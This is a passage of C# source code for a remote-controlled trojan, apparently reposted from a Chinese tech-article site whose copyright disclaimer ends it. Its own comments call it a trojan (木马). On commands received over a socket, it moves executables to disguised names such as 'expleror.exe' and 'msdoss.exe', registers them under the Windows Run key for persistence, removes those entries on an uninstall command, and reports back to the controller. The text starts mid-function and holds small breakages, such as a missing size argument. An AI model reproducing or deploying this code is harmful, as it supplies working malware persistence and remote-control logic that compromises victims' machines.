try{ File.Move("c:\\winnt\\system\\expleror.exe","c:\\winnt\\system\\msdoss.exe");}
catch{}
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key.SetValue("msdoss","c:\\winnt\\system\\msdoss.exe");
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key.SetValue("msdoss","c:\\winnt\\system\\msdoss.exe");
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
//|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
//_____________________________________________________________________
if(ss=="mw000")
{
try{File.Move("c:\\winnt\\system\\expleror.exe","d:\\winnt\\system\\microsoftt.exe");}
catch{}
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key.SetValue("microsoftt","d:\\winnt\\system\\microsoftt.exe");
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key.SetValue("microsoftt","d:\\winnt\\system\\microsoftt.exe");
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
//______________________________________________________________________
//=======================================================================
if(ss=="mw000")
{
try{File.Move("c:\\winnt\\system\\msdoss.exe","c:\\winnt\\system\\expleror.exe");}
catch{}
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key.SetValue("expleror","c:\\winnt\\system\\expleror.exe");
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key.SetValue("expleror","c:\\winnt\\system\\expleror");
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
//===================================================================
//*******************************************************************
if(ss=="mw000")
{
try{File.Move("d:\\winnt\\system\\microsoftt.exe","c:\\winnt\\system\\expleror.exe");}
catch{}
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key.SetValue("expleror","c:\\winnt\\system\\expleror.exe");
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key.SetValue("expleror","c:\\winnt\\system\\expleror");
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
//*************************************************************************
//##################################以上是改变位置##########################
//··················以下是卸载木马·················
if(ss=="xz0000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
try{key.DeleteValue("expleror");}
catch{}
try{key.DeleteValue("msdoss");}
catch{}
try{key.DeleteValue("microsoftt");}
catch{}
key.Close();
}
catch{}
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
//··················以上是卸载木马·················
}//socket
//
// TODO: Add any constructor code after InitializeComponent call
//
}//targett
/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows Form Designer generated code
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
//
// Form
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, );
this.ClientSize = new System.Drawing.Size(9, 66);
this.Name = "Form";
this.Text = "Form";
this.Load += new System.EventHandler(this.Form_Load);
}
#endregion
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form());
}
private void Form_Load(object sender, System.EventArgs e)
{
}
}
}
免责声明:本站相关技术文章信息部分来自网络,目的主要是传播更多信息,如果您认为本站的某些信息侵犯了您的版权,请与我们联系,我们会即时妥善的处理,谢谢合作!